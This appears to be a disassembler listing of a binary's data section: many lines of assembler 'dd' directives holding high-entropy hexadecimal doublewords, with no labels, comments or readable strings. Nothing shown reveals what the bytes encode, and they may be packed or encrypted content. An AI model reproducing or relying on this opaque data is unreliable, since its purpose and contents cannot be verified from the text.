		dd 508B84A0h, 730B8A12h, 801CE2A1h, 635BA27Dh, 6F5F006Eh
		dd 75703D2Eh, 0A400DB09h, 335AFD20h, 92B768h, 2F7BA21Ch
		dd 6F3AE232h, 0DA075Ch,	83D4CD4Ch, 39C5DFEh, 8271C8A6h
		dd 0BA8B644h, 0F00BE23h, 0FBBC99ECh, 0D21BD0h, 6378A26Bh
		dd 698F4E5Ah, 0CBD11900h, 5D7A669Fh, 37E7839h, 0F4D9B283h
		dd 0D88AC7C6h, 2B892460h, 0BDDC0E00h, 63A74613h, 9AC00BCh
		dd 3BF40464h, 14986E3Eh, 959C1F00h, 0CFB31925h,	2944017Ah
		dd 0EC0134CBh, 637A305Fh, 2E406858h, 0DE007C71h, 0EFF15CE8h
		dd 6070B4h, 0B27F6D79h,	0A26A14D7h, 2CC27E0Eh, 240992E2h
		dd 2988113Ch, 7D083Ch, 98CEF9C3h, 0B11D260Fh, 0BDEF0E00h
		dd 0FF30BAA2h, 6DFA0062h, 264FF33Ah, 9301DF76h,	619AB7E6h
		dd 0AC84BC3h, 0EFCE0F2Ah, 2117B30Eh, 80C41CFCh,	0A1815E18h
		dd 776F7A80h, 2BC1263Eh, 51B780CCh, 0A0C8EEC0h,	5BF5F200h
		dd 0B807F190h, 31F6CAh,	9F1D47C2h, 0B7A1F7D8h, 80B97924h
		dd 0E40B843Ah, 0D490F550h, 7DB43Fh, 0C17781CDh,	0F8A1CC73h
		dd 24A75F00h, 3CE438EEh, 29D000ABh, 2E91FCC4h, 4D00358Ch
		dd 84477031h, 0B03D6B06h, 0B4E00030h, 3409B896h, 0B8967427h
		dd 0D6B2E00h, 0B07E88AFh, 0AC4B0035h, 0D53DF5A8h, 0D100DB94h
		dd 6408F910h, 95CCC3h, 5FE563FAh, 73545548h, 56F12300h
		dd 0B2079B29h, 0BE3F3031h, 0FD2EC9C8h, 0ACCFA22Ch, 9BBE800h
		dd 3B0AFFD2h, 9D80A507h, 0FEAB4A7h, 0FD02F710h,	9AA989D1h
		dd 0E9AC8024h, 325C1C9h, 9D585651h, 0C0E53002h,	508A9BFCh
		dd 9A7B0FF6h, 0CDDF8100h, 3D897C19h, 3C910F2Ch,	2D403974h
		dd 209FEDCBh, 33AAD01h,	24291EE1h, 624820h, 64211CFh, 0D19F8A80h
		dd 0A088202Ch, 5DDFF100h, 388F3208h, 0AC58471Ah, 1FBE100h
		dd 781B426Ah, 0E29C9D04h, 5B81A7C9h, 0A860295Eh, 0A89103B7h
		dd 6C70AA0h, 0EBE125E0h, 0BAD8AB3Ah, 0E5F280FFh, 79180EC0h
		dd 587F488Bh, 89F4400h,	4AB18621h, 6F69E807h, 0C6205698h
		dd 51A51EE6h, 7FC4ECD7h, 6E9004Ah, 4445D2F1h, 190024BBh
		dd 0DE68071Eh, 64B8C75Eh, 0C0525A3Ah, 6BE617E8h, 4FB00082h
		dd 48908818h, 0C000C428h, 9EBD21ACh, 5300BE12h,	8A2CA09Bh
		dd 1ED83DCh, 7B01611Ch,	0DD57D596h, 98E84889h, 0DEE221h
		dd 9647084Dh, 0A8037520h, 2905C382h, 0D3AEC891h, 3087F009h
		dd 80E80136h, 3203731Bh, 0F7B9E0BCh, 0A5FBB8CCh, 5C7B33h
		dd 811D4F7Bh, 2D2B6AA0h, 0E25C500h, 0CF67B63Eh,	0BD08B683h
		dd 9C33FC8Bh, 0E85500A6h, 4C3A4308h, 0BCC06E44h, 7D133975h
		dd 0B8E29F00h, 0B09E9303h, 530E0FC6h, 63405C8Ch, 73944EE7h
		dd 25A4A0C0h, 982F2BCAh, 0B87400C4h, 5D06EBBFh,	633A0E71h
		dd 6D9E020Ch, 0AECC33FDh, 62B7A780h, 0D96FEA40h, 0C5980124h
		dd 146ED231h, 0BA5CDC80h, 4A7BFEF4h, 12C02B48h,	0CC1EF673h
		dd 60EEF480h, 0B7DAD85h, 5BA2DA1h, 21599003h, 750C40D8h
		dd 46BC8200h, 0BEE4A3AEh, 706900B1h, 0FA22F67Ah, 0D2006A3Dh
		dd 0FE89013Fh, 0FA37A23Ch, 7A7F3057h, 2FCEC8D0h, 88E2CA13h
		dd 335B0840h, 60247C72h, 0BDE0BAAAh, 33A60FBh, 0FC9280AEh
		dd 97304E76h, 0EC3D3BB8h, 22FD007Fh, 0CD56D41Bh, 0B8A058B7h
		dd 4267F6Bh, 0ADA6844Ah, 35E07800h, 2FFC409h, 83DED23Eh
		dd 0F2C014D8h, 5B0059A0h, 1F4B69CDh, 1814DE5h, 9DB0D66Bh
		dd 407F6172h, 0DBD1CFCCh, 0AB805900h, 0B1E06A6Eh, 40E3004Eh
		dd 32C1B4DCh, 6276D321h, 8F568A38h, 80E79D87h, 0C7894407h
		dd 68CF001Dh, 0AF73EB3Fh, 0B700964Ch, 9F5C853Ah, 7BF79E1Ah
		dd 2BC63D1Bh, 20AF0900h, 0B5E4115Dh, 81F83850h,	5300EC98h
		dd 283E5127h, 1DC64E1h,	0F7C52079h, 40D791F5h, 4AACD0E0h
		dd 57EA5200h, 0F91E2FE1h, 3C71006Ch, 0E61CB842h, 0C376514Eh
		dd 0C5694712h, 49801418h, 0DAE000D5h, 299A1732h, 581C57F1h
		dd 7580BC65h, 99A6E331h, 1CCA00DBh, 5E8C967Dh, 7000D810h
		dd 3820CEA1h, 65A42Dh, 3EDD7390h, 0F418BDACh, 0A002B925h
		dd 96986C28h, 328B00EDh, 47B633CFh, 0AF0FF22Eh,	80BE1C5Ch
		dd 0B57983D5h, 1EF60098h, 56AC9B63h, 0DEF89E09h, 0DCA861Dh
		dd 8E31D980h, 0C43AA0h,	0F9AD5C0h, 60561DCEh, 7DF9DE05h
		dd 30E229ADh, 21BE2C00h, 0E6710623h, 18880300h,	1CCC99D3h
		dd 74C400CEh, 5970A48Bh, 0F500538Ah, 0FD34D9AAh, 0D77FACh
		dd 0D3CE3C35h, 2878263Fh, 66D56A18h, 0B95D29h, 0C2F0D888h
		dd 7CE9D0B1h, 0AFCFD303h, 0A8D6BC76h, 844319h, 5521BF1h
		dd 0B0C63FA1h, 0EB008CF0h, 7FB26892h, 0A78161h,	45ABA8CFh
		dd 6FAC4C49h, 2F00F47Dh, 0E93D80F5h, 631F64h, 65985CC6h
		dd 791FE86h, 3AE0CE50h,	2AA97E30h, 0E64112BAh, 77D00009h
		dd 59C4E78h, 43059410h,	2B7BB247h, 0ECAD8C00h, 0BDB8307Eh
		dd 1803148Eh, 708844F7h, 5E28FB94h, 5409E0A5h, 0A6FA29Eh
		dd 2E00EC78h, 33625FFh,	716005Dh, 18BE8490h, 68944BC9h
		dd 600CED8Fh, 0AF0799E6h, 366C00C8h, 4EF44B78h,	0FD4AE8F6h
		dd 7526A800h, 403C643h,	1067202Dh, 1F58C8D0h, 48F00103h
		dd 0C8367EB6h, 0F52038h, 0FAA90EB9h, 0CECD8869h, 4CCBDB00h
		dd 0B14155D3h, 4871008Ah, 0BF0DD3Dh, 0CE161129h, 0C032350h
		dd 0F05D8FE2h, 0BD8B592h, 0AFD0FD9Ch, 600070ECh, 34D27409h
		dd 6F4775h, 0C21E1597h,	2DF88BCCh, 91956B0Bh, 174880E9h
		dd 1E770E69h, 424E2E58h, 0A3A53F63h, 1106D0F0h,	6C5AA8ADh
		dd 3F11314h, 640C0086h,	0FB46EB42h, 93BB2300h, 9C8861C6h
		dd 29E400C3h, 0A65A2F2h, 78001541h, 7F68A446h, 44C1DA3h
		dd 396A5E7Bh, 7321C7B0h, 15F09D47h, 0E600CE13h,	25265F46h
		dd 0B5685Ch, 6B942B7Ch,	0EF145175h, 0CB556C12h,	82161400h
		dd 0E4E945h, 9E150EE6h,	0B453F425h, 0F9B86A00h,	0AB7F6D74h
		dd 0C6EF00BDh, 88820110h, 0D41214C2h, 0F88094ECh, 0EE69A0E1h
		dd 6A39124Fh, 901410AAh, 356F9E00h, 7E2CA2E7h, 71FBAF0Bh
		dd 4401070h, 0A889541Dh, 0A3E507C9h, 73B9DF64h,	10F068CEh
		dd 0FD004087h, 90DC60D7h, 4FAC58h, 7A8AB7DFh, 0C5F4150Dh
		dd 0E11E51EAh, 0BCC0605Eh, 0BB909F37h, 28EB6F33h, 5B84566Bh
		dd 0E8E8B9h, 0D5B43850h, 0EA30FC2Dh, 8CAE02FAh,	55F805Dh
		dd 0DBBD7660h, 0D77A5C00h, 6A6342AFh, 2B3C1CEAh, 11003EC6h
		dd 0BE82498Eh, 9E0099EDh, 3F16DE30h, 13C580h, 0A6E6C245h
		dd 31B8A5ABh, 1DA3474Ch, 6DDDCB01h, 87CCDDC4h, 0F7BA5480h
		dd 0AD1400E8h, 0A2D5C356h, 70005B3Bh, 3BDF5D7h,	0CAB6DBh
		dd 6C42AEE7h, 0F05D3A0Ah, 65417800h, 0F2CE9020h, 0EB8E005Ah
		dd 727AB101h, 89024C05h, 0F75CCBFDh, 0E0A9E083h, 0F92F009Fh
		dd 170D9A3Ah, 1B0910A2h, 7DA77Eh, 6496F0B8h, 552B0F82h
		dd 23A944A5h, 0FCE288E1h, 8D0009CAh, 46A9B3F2h,	0DB54DDh
		dd 16062FBEh, 52CA307Fh, 8A330B00h, 6E0CE36Bh, 54DF2C3Fh
		dd 0EAB30EB8h, 8AC080D7h, 0F8008FFEh, 1CEB9ADDh, 1F1DC577h
		dd 85434BCBh, 8035FAFBh, 245FD907h, 1FF6C400h, 5317A02h
		dd 0BC5041Eh
		dd 0B2B72CFCh, 7A38C000h, 3F08405Dh, 1CCF99ECh,	0F5A400CBh
		dd 0BA8CC82Ch, 0E44CC512h, 5A467CC0h, 0C19200F2h, 0D3D205DBh
		dd 0EC3C8A6Dh, 0E9C0804Ch, 1C622B9Eh, 1F067A3Bh, 40AB27C2h
		dd 60C8DE8Fh, 0D000F047h, 4D72501Bh, 3E0D890Bh,	0F7642Ch
		dd 0F32790E0h, 690F1D38h, 0D475E900h, 0E8B3E7C8h, 0E6AB005Bh
		dd 0F82DF6FAh, 741D8FFDh, 51C02889h, 76127113h,	0E6822C69h
		dd 63500075h, 0B1DFEE33h, 0CBE8DA77h, 0C586A31Ch, 0A2ABE140h
		dd 4D87C6F7h, 0FF029C42h, 0C514B46h, 0C0EBE2h, 31F94A94h
		dd 8CB0501Eh, 0C91ED401h, 6F82BBF8h, 6080AAA9h,	1E1ACCh
		dd 99A4A321h, 161F159Ah, 96BD8300h, 173A028Dh, 47850F68h
		dd 3025E44Fh, 0B58F00FAh, 33584E2Fh, 68FE4B27h,	9D5BAFBCh
		dd 0E73A70A0h, 433A32D8h, 6283AB7h, 0C9B8AEFDh,	0D54E1C21h
		dd 9E877CD3h, 41C88510h, 1C1620Ch, 82F01884h, 939601DEh
		dd 0EF3D35DAh, 90303BD8h, 0F416BBA3h, 8529022Fh, 62B040DCh
		dd 9F444083h, 38583066h, 0DE0A06A1h, 20A54F7Ah,	3FD8BF24h
		dd 0A061BA0Fh, 5F587228h, 6862504Bh, 0BF74B9h, 301AD139h
		dd 0F41DE326h, 1F9AD00h, 57B19EE4h, 0F8E800C9h,	13E153D1h
		dd 2F1FD670h, 0B280C6B6h, 8AFD4E7Ch, 887F00D2h,	9A158F26h
		dd 0D50FD478h, 66D76259h, 747C454Bh, 6DE000BEh,	4DE4CDEDh
		dd 3C003914h, 0D6443F77h, 0F47624Ah, 410DACE3h,	4F25A603h
		dd 0C1406487h, 0E09A44ACh, 5B00EC86h, 0F3DC26C2h, 4527F0h
		dd 2CF19E6Eh, 0D81FF5ABh, 1C9D5600h, 3BFA6CCBh,	791901E1h
		dd 76AAF432h, 0D4FEFDDAh, 700E60Eh, 4A0B856Ch, 0C026EDh
		dd 1723E4B0h, 0FB8278E0h, 47B84B0Eh, 0FF252064h, 1CD0107h
		dd 45677229h, 0F8170E20h, 783B11DDh, 0EC5EAA38h, 365958h
		dd 790A75D0h, 54E33743h, 60ACE82Ch, 0A5D6CA54h,	27072A87h
		dd 0F2076FD8h, 0EE6B3650h, 89FD0A62h, 1D040B0h,	82CF99A2h
		dd 0B1418023h, 0E73E9365h, 0C0BCEA09h, 0EF4E2171h, 0C7001A9Dh
		dd 0B939D14Bh, 1E775A17h, 821CBCC3h, 3A7B572Eh,	6A65D5E0h
		dd 0FD79DB00h, 1C5052DDh, 0EEA30004h, 27638211h, 0DB3E4FDCh
		dd 0CF100B1h, 9DC886E2h, 0BCBEB7h, 83BD7A4h, 1B582D17h
		dd 26BA0BD0h, 0E41868DBh, 98B9A035h, 1A2E475h, 49697ABBh
		dd 0C46A9352h, 4203BEB4h, 0E4C41045h, 0C2D907B1h, 0C00A7989h
		dd 1EB8DF6Dh, 5BA04400h, 0FFE971CCh, 0AC7D03B1h, 54B04AF4h
		dd 380C0F93h, 79473FB9h, 0A10260B7h, 49D0B0BBh,	4A525900h
		dd 0B32B7966h, 11F4EB7h, 6EBC8510h, 6B5AFCDEh, 7DD0C350h
		dd 0A048A66Eh, 0D289D014h, 189E0006h, 0E980036Dh, 0D90042CFh
		dd 894A0FBh, 33B14F8h, 8E13D4B6h, 0C0909889h, 0BBF0D35Fh
		dd 605504A5h, 91BA2446h, 5701BB98h, 0BD3E6DF0h,	8BC0E08Fh
		dd 6FD3009Fh, 0C5E42074h, 6D3C9EBAh, 0B823A71h,	0DF91BF6Ah
		dd 0E4979C00h, 98035878h, 2D733479h, 94BF9010h,	57160317h
		dd 0D32F0B95h, 0ECE278CAh, 0BA0AFAC0h, 5D079473h, 3B82B2B4h
		dd 2B21B980h, 1C9E0AB7h, 5774CE0Fh, 0F16140Bh, 0F2409FBBh
		dd 438DCBB5h, 0A9FC1DB2h, 0E6E9005Fh, 1A14E550h, 12C20603h
		dd 21B82E78h, 0F908BE29h, 9CCE90E7h, 1A21B791h,	5550F81Dh
		dd 2C084221h, 0FD8688BEh, 90FEA788h, 0F1519ED6h, 2228E228h
		dd 0AA2215F3h, 0B4462268h, 0A214EE50h, 449E2144h, 0B344116Bh
		dd 0C5C0448Ah, 84922044h, 42C14122h, 18A31136h,	3E6D6611h
		dd 849244EEh, 426A4D22h, 0B928117Ah, 8B009E22h,	9415AD9Ah
		dd 0B2F831h, 0D7A0D1B7h, 6F207C90h, 7F6BFB2Eh, 0A7077100h
		dd 0BBFE35h, 917414Bh, 939F27E5h, 0CF839201h, 3946FBF5h
		dd 70B04CC8h, 40C0011Eh, 0E87B3A38h, 0F47AE8DFh, 0BC0002E4h
		dd 1BEDD55Ch, 3D2CB8h, 0B7210A92h, 0AD27A465h, 8E3ED800h
		dd 1688811Ah, 0EA040EDAh, 0E260DCAFh, 3A69FAEFh, 4A90B700h
		dd 7AD3287h, 7FF40025h,	0A27201Ch, 40B1091h, 0D673EB7Eh
		dd 600904F7h, 13C90F0h,	9A00824Ah, 5591A80Dh, 1F75D93Dh
		dd 1EA06883h, 20E5005Ah, 459B597Fh, 2D563303h, 0D8774h
		dd 0FEFC6E40h, 0A7D8716Bh, 6F229100h, 8C5E6586h, 52E6042Eh
		dd 80BE9966h, 0D271EA2Dh, 23D93300h, 6355A14h, 9DF1D90h
		dd 64ABC0F2h, 0E7D5E575h, 0E6D79F1Ch, 0FD90C8C0h, 1A250h
		dd 8DBB8E61h, 0D45C25F5h, 4EF8F90Fh, 6BC74033h,	7012998h
		dd 28F46A85h, 541550C5h, 0EC006064h, 348AA6EBh,	24CEB9ABh
		dd 34258DCh, 99001F8h, 8A7A0CB0h, 93BBB30Ah, 0A300803Ch
		dd 1C44BFC0h, 7016886Fh, 0D2929F00h, 7A0319B0h,	467F0089h
		dd 0FE8EF91Dh, 8100B117h, 0C1B682D1h, 1D59F3FBh, 41CA3204h
		dd 0FE51FF4Ch, 0F8E2EA36h, 0A1F29500h, 50398C30h, 80E808Eh
		dd 1C315705h, 0DE71008Fh, 0E2B35211h, 0D200389Dh, 0A5DC096Fh
		dd 1E344BFCh, 5FBCA44Eh, 0F296C0F3h, 0F1DAD12Ch, 0B6D62A00h
		dd 43CD06A1h, 4E6026C9h, 99740030h, 70FD11D0h, 7773C1Dh
		dd 30DA5CC0h, 0E8AC715Fh, 0B306003Bh, 0FF22210h, 2600BF2Fh
		dd 48E15829h, 0F6521751h, 0E8B40E6Dh, 65407B3Ch, 0DFE56B4Ah
		dd 88383103h, 0A877D67Ch, 0A7100Fh, 32B4945Dh, 0D509EDD9h
		dd 0C5331E00h, 65C2257h, 7ED300A4h, 9BB16664h, 0AE1E51E5h
		dd 6543E29Dh, 0E0B58ADFh, 2041517h, 0A1D75FF2h,	44484253h
		dd 208D14Ah, 4317548h, 1309AAh,	0B6B48D14h, 0A7E6001Fh
		dd 211CAB33h, 0A0298E1h, 0CB4B5DDDh, 87B040FFh,	63410047h
		dd 2130481Eh, 0A2062558h, 0C79461EDh, 9D4F3D80h, 6A4FE80h
		dd 0B4492DBFh, 0D61F7700h, 42853EF2h, 98AB003Ch, 23EFB82Fh
		dd 1D004CC8h, 509BA978h, 427D34h, 24AD432Bh, 51FAAF20h
		dd 9CCA5800h, 7CA3D135h, 75B06AAh, 0C0E38FBCh, 85054304h
		dd 0E890E9D5h, 0EA49BF56h, 0D0A4009Dh, 7183E06h, 7C09F82Bh
		dd 3135D08h, 81B6A38Fh,	0F0DF356Dh, 6F9857h, 0EF5D6931h
		dd 11047DADh, 0A930F900h, 2618D654h, 0BB340138h, 0DDB74591h
		dd 0C987F6CEh, 8471C050h, 0D5000186h, 8F541EDFh, 0FA9C0C95h
		dd 50A07D18h, 74CE8B7h,	0E2097161h, 3298046h, 0C1B5ACA3h
		dd 0D8E3A4CCh, 0F4DBD619h, 0BBECA0AFh, 0D9DCA069h, 566E0CFCh
		dd 4F106845h, 3F024405h, 0E4029A1Ch, 71095ADh, 91F730DAh
		dd 4203AFFCh, 0CB877764h, 0CD0B80BDh, 0C145003Ah, 89C66CA7h
		dd 0D8A039F8h, 0BE0159DBh, 0DE26B73Fh, 3AF082D3h, 0DCB20730h
		dd 20327A8Bh, 0C785D178h, 1E07B5F0h, 0DBBFB101h, 4A054260h
		dd 0C4490143h, 0FA6A9B64h, 0BB6BFCAEh, 0F08EC00h, 0AC882A9Eh
		dd 0E8E2A3B6h, 12C39D9h, 5F470491h, 802A487Fh, 4CAC3DC2h
		dd 0A67468h, 0FA2BAB0Ah, 95EA1444h, 24C45648h, 604EBCA8h
		dd 0C1CC3B7Eh, 658E0098h, 12131E9Bh, 44003F07h,	584E5E25h
		dd 675314h, 77F68CFAh, 9B265ABDh, 0B1DF3E00h, 9160AF79h
		dd 15C49099h, 0E06438EBh, 25D4A130h, 0CB0073BBh, 0CA3DBC94h
		dd 91E52Eh, 93480324h, 2950BA70h, 0B700827Ch, 0E118064Ch
		dd 2A7853Fh, 7C7B9CAEh,	0E8801CDEh, 76B2F2DCh, 0B56DEC00h
		dd 456B3EA5h, 84EE79h, 0BA3783DAh, 42445852h, 0C4356103h
		dd 0F0498287h, 99099Ch,	29014B92h, 67D0E226h, 7C68E900h
		dd 85138237h, 11730047h, 8E6C5204h, 0DFEABE2h, 34BD3102h
		dd 407C1FB8h, 51E130Ch,	63B92535h, 0C22C80EBh, 6D0058F9h
		dd 0A31843B1h, 39BBB4A8h
		dd 0CDBC054Fh, 530F0E00h, 0AA92B0C5h, 0C7975800h, 99278186h
		dd 0BF7F12D2h, 0E990005Eh, 0AF2B1220h, 8B1C1F00h, 0F806AB0Fh
		dd 0C0DF14D3h, 0D400DC52h, 5DB63039h, 161E0390h, 0DD6C70E6h
		dd 0CC55FA01h, 53E85B0Eh, 0D9420771h, 0A01F0FEFh, 27413909h
		dd 3276B10Fh, 4D16C06Fh, 729B1A15h, 0BFDCA083h,	11DB21D5h
		dd 8695CF81h, 44605831h, 6E23003Ch, 4382F626h, 904C6477h
		dd 76F874CEh, 8E9C673Bh, 0E02F1A4Ch, 0CE787B21h, 26FF004Eh
		dd 4A2B48C7h, 6F05E560h, 0A12EEEC6h, 1ACD4CC0h,	0FDC72491h
		dd 264C0096h, 4571A074h, 3BB7221Dh, 4DE89703h, 4352F0DDh
		dd 56B501E3h, 6882FA36h, 0E814088h, 0B000D1FDh,	0AC7B06A7h
		dd 0D449FBh, 0A968EC17h, 11586BA4h, 1400EAE0h, 6309AD9h
		dd 1EE4C0Fh, 8CE4CD90h,	0DCE888A2h, 7CE40CC7h, 0D6445500h
		dd 10CB9116h, 28267F46h, 48C05701h, 760B3714h, 900D69Eh
		dd 3A7CB531h, 4A3F4704h, 0A0904F8Ch, 1C1D84ABh,	0B9DF4E2Fh
		dd 82766AA5h, 76F4C100h, 0E40D5582h, 0C5DA14DBh, 7F02C097h
		dd 0C9D79B16h, 665858C8h, 3426CEA0h, 183C542Ch,	9C922328h
		dd 4DFB8A00h, 0E7CFA9F9h, 0F5AC01BDh, 0C8A5A041h, 6060F240h
		dd 0E0265ECh, 0D610F175h, 390CE892h, 5C7070h, 2C85E4Fh
		dd 76750EEh, 0D859FE00h, 0AE77612Ah, 0FFC40046h, 2CA572B2h
		dd 0A639E06Ah, 0B05D009Ah, 51A1A01Eh, 814802FDh, 2B90C3B6h
		dd 0FEBCD040h, 0E21E0B17h, 2625F400h, 0BE3D53h,	0FDE36439h
		dd 330D416h, 0F8B8757Ah, 79805900h, 0A6FAB649h,	5B17006Fh
		dd 8E7A882Dh, 0CC1E9664h, 95438778h, 0C043FB44h, 0F261F62h
		dd 9E411E5Dh, 0E234AAC0h, 8800B919h, 0F4ABE85Bh, 38E4B0DFh
		dd 0B48182CBh, 47FB9A74h, 1F0ED08Fh, 7AE8A100h,	15ABB219h
		dd 7C98D0h, 1A23AFE6h, 18A73F31h, 846FFD00h, 0F29CEEC4h
		dd 22AF4B8h, 1D76EFBAh,	8080B031h, 0E5241A26h, 45C88B50h
		dd 93527B00h, 9E2CD8E2h, 54F20042h, 82673A17h, 942ED7A4h
		dd 8E8E10CBh, 2E4B5CFh,	4235409Ch, 5AF0831Ch, 40B3B257h
		dd 60D700h, 2719F81Fh, 26674DBAh, 0FC6BD20Fh, 0D43E092h
		dd 268074Fh, 0A15B6F20h, 50607FABh, 0C4005125h,	0DB129A06h
		dd 1DC8B3E8h, 0C071EE45h, 568615D7h, 0BA03FB55h, 286BBDFEh
		dd 0C8C0A478h, 59CB81h,	685C9794h, 50B18A2Eh, 21788200h
		dd 0EE5D0A47h, 0E8CD07A0h, 459323h, 0DA5ED088h,	0C06FE931h
		dd 7BDCEE19h, 585A0F33h, 0A2404D2Ah, 0E8B06ECCh, 57005FECh
		dd 60A8B45h, 16307CFCh,	43B27BD9h, 0DC4DB304h, 606F5FC1h
		dd 0E100E5FAh, 3E56C131h, 0F1D1E3h, 0C7896EC8h,	54BC8847h
		dd 0C9AF0F0Eh, 3D912084h, 0BEA371h, 0D214FA37h,	9D5F7446h
		dd 550EF27Ah, 0C277EB0Eh, 813B1244h, 1DF3DBC8h,	72563701h
		dd 0CA4510FCh, 0C3EDD100h, 31B09EA6h, 11024D00h, 0FC5D0632h
		dd 13CE01F5h, 12541680h, 9DF9E417h, 80D34B3Bh, 2188F20Fh
		dd 0DC5587h, 0FE81C845h, 1D46311Eh, 0AB0DE300h,	686D5742h
		dd 0A7A00ECh, 0D3A0C638h, 6F13CFB0h, 67132132h,	0A78C9904h
		dd 0C08A7882h, 4F873Dh,	0E7177133h, 86430223h, 0B2C89F00h
		dd 900892CFh, 621F007Bh, 7ADCDAC4h, 7003AEAh, 33EFF967h
		dd 0EED5A0D9h, 0A2ECF2h, 0E5C67F29h, 5A5E77A4h,	0E7FA7600h
		dd 81E0B5B6h, 9B759Fh, 7EDF222Eh, 96D7C501h, 0EA33ED00h
		dd 7AC65AB0h, 5442D40Ch, 0A187007Fh, 19973C47h,	4F0CF91Ch
		dd 0A62617D2h, 33340054h, 0FFDA320Fh, 8F0E0804h, 60F9DB20h
		dd 0A23602DFh, 75D500F7h, 10E84CB3h, 38B035C7h,	0EC6B2607h
		dd 826136EBh, 0CCE818AEh, 56A601E4h, 2D3AC604h,	0F4893109h
		dd 450A65B3h, 0B41DAB6Ah, 3F0D003Fh, 0DFA5F768h, 0E8000F5h
		dd 935AB478h, 4403FE04h, 6C68CC57h, 0EA30001Ch,	0AEDB5082h
		dd 0D512E891h, 2C0025ACh, 9FBED28Eh, 0C8E73A39h, 0CC632A80h
		dd 514B06FBh, 41C0EEF4h, 0BED19C13h, 0E98B059Dh, 814A16E5h
		dd 30B23CBAh, 110BD474h, 83EDD67Ch, 0BAFA5E1Dh,	0B3BCA051h
		dd 3AC016D9h, 0F58065CCh, 0A4C7929Ah, 850061DBh, 90743A32h
		dd 0BC8313Dh, 0CFA27E9h, 9400C456h, 0D17B5543h,	9ECD0029h
		dd 6D214CFFh, 0CE38B431h, 0F38CCD7h, 724273Eh, 0E87037F9h
		dd 552A06Ah, 422E50E6h,	0DC38D30Dh, 4E12E788h, 92004490h
		dd 1D1C95C2h, 28F8D6h, 6D03945Bh, 96498A0Eh, 0C7DEF216h
		dd 0F8231880h, 0D8BC1266h, 0BEA0D7B8h, 52F9A0E0h, 33026B1Bh
		dd 0E8947FBAh, 0D134608Dh, 6638051Ah, 29E1D2h, 0A50660A0h
		dd 90002DEDh, 19C0E8D6h, 666182h, 0A71EAC99h, 0DDE01D6Ch
		dd 0C2710090h, 79829B0Eh, 3732800Dh, 4CA9367Ch,	1F0CD5ACh
		dd 80396B63h, 0D209FD76h, 8029E50Dh, 0A74D588Dh, 7F1D01C1h
		dd 8C2D562Ch, 26F82863h, 96B0476h, 50401B3h, 7C7A592h
		dd 718125A9h, 0BCACB348h, 37B186E8h, 0F4677700h, 5768DDE4h
		dd 857043h, 70EE3D5h, 0B7793850h, 0A153731Ch, 0A065E74Fh
		dd 8EED9443h, 5DFC2889h, 0EFC200A4h, 0BA9FA408h, 0DB01AAC9h
		dd 4E7DCA18h, 0FEF86406h, 0A0B203B0h, 8B2EA32Fh, 7EF5A6A8h
		dd 2C271B3Ch, 0FD07CE8Eh, 36204445h, 3E6DE86Bh,	26018819h
		dd 2E8AE727h, 37D5DC51h, 1A5C3CB0h, 851F0065h, 0B1F4BCF6h
		dd 721E38C8h, 0A84F6180h, 0ED3E71E4h, 7F1C6A09h, 79D0E0FBh
		dd 0FC20541Dh, 20585C41h, 7ECAA600h, 19FE6815h,	63E9FF00h
		dd 1A1E8782h, 0D9C90739h, 9340BD59h, 0D7D8F63Dh, 0A20066D2h
		dd 8CAF9ABBh, 9112CBEh,	0AB1DE856h, 0D7B44B80h,	0A802D180h
		dd 7148CE37h, 0D51C036h, 68E40065h, 0BAF76B24h,	8F0BD766h
		dd 450AD35Eh, 830D835Ch, 0B2F26843h, 3C80A4E1h,	0FB05958h
		dd 80BA969Dh, 84E1F8F1h, 758F2C5h, 0D0DE6EEDh, 425FC116h
		dd 39D5C4BBh, 0B40E6070h, 1E5062B3h, 0B67ED1C0h, 0A60F46h
		dd 4DFF0E67h, 0C2BA9195h, 2215F003h, 9D0C452Eh,	0EFDDF045h
		dd 0B79572C0h, 4391C0F8h, 2AD55009h, 0EAE6CF00h, 51B9DF4h
		dd 6ADE000Ch, 9164E7CCh, 0BE741FD5h, 0BB704802h, 80E1C6CDh
		dd 7301D2C0h, 0D0B84Eh,	7699FA62h, 8BED084h, 8143972Fh
		dd 1E01E8BFh, 5600483Ch, 7074FEFCh, 76007D5Bh, 90A2ED14h
		dd 2E2EA441h, 8050B13Ch, 9C615106h, 8F2AFFCEh, 621398DCh
		dd 0FF031005h, 0EE6994CFh, 11E71519h, 0EA00BCF4h, 2DA7900Bh
		dd 0CD2C5797h, 4A02508Dh, 734BB7DDh, 5DD906FCh,	0E6023961h
		dd 8E5E6587h, 2A98A013h, 0C0CAC335h, 0B5098C21h, 0D804E0F9h
		dd 0BD5C4132h, 1ED944F0h, 0EAEC539h, 48C145CBh,	201E5FB8h
		dd 53005608h, 4497599h,	0F4ADF365h, 389097h, 71D0FDCDh
		dd 60B61751h, 0DFEAEF00h, 0D6BDAA4Fh, 0FAA20031h, 850D8FF4h
		dd 9B7F3258h, 0D093F200h, 5F3A34EAh, 219685BDh,	771EDB00h
		dd 0BFD187h, 66CD39FAh,	0F7FECFA8h, 0D6D9AF0Fh,	817E0C3h
		dd 3E2520h, 41391260h, 366EE48Dh, 6CE7B316h, 8200D61Ch
		dd 0B7ED1AC3h, 8721231h, 0ABB090FBh, 9D881494h,	0D26E0E28h
		dd 5F00742Fh, 63F4B545h, 5304A58h, 0D148F1F6h, 1A3A7280h
		dd 4FF000ACh, 82939785h, 3E002974h, 0EABA630Dh,	5B80B1h
		dd 0D38899C3h, 0D5A1AE7Ch, 8334E000h, 3E109D1Fh, 7B0472F8h
		dd 0DCF2009Ch, 4CD04911h, 0BA38EE85h, 0A3F18027h, 18BCB5ADh
		dd 91750035h, 2AA55FDh,	0B00084FCh, 0DB294023h,	7A0FC4BFh
		dd 0D1A0010h, 5452DEA4h
		dd 88036950h, 0F10918B1h, 78819005h, 0F33A00A8h, 3DA1A6E7h
		dd 0AE03346Dh, 9A3B529Ch, 0E2DA98DDh, 47AA0040h, 0A70CCC61h
		dd 7E0154E3h, 0BB499E7Ch, 0F9D0AC29h, 0C5522C81h, 452C0F40h
		dd 2FB28080h, 820F2EAFh, 4BD4C3F5h, 397818C7h, 1F889CD5h
		dd 38193DFh, 9A4F66C7h,	0A9CDF2A7h, 4CABACE0h, 9C7BC48h
		dd 0C857511Eh, 25EA62Ch, 69AED4AAh, 0B446A43Ch,	0C08410E4h
		dd 0D586E531h, 0D800F96Bh, 0BC01E6F8h, 98B36163h, 15EE0314h
		dd 6EE3DBDFh, 1189AAD0h, 22E2BE00h, 0E92BF5FFh,	0AF4924ECh
		dd 65CA80C8h, 0A12648CBh, 0DE030DFEh, 9B8A8CBBh, 0E4D0D45Fh
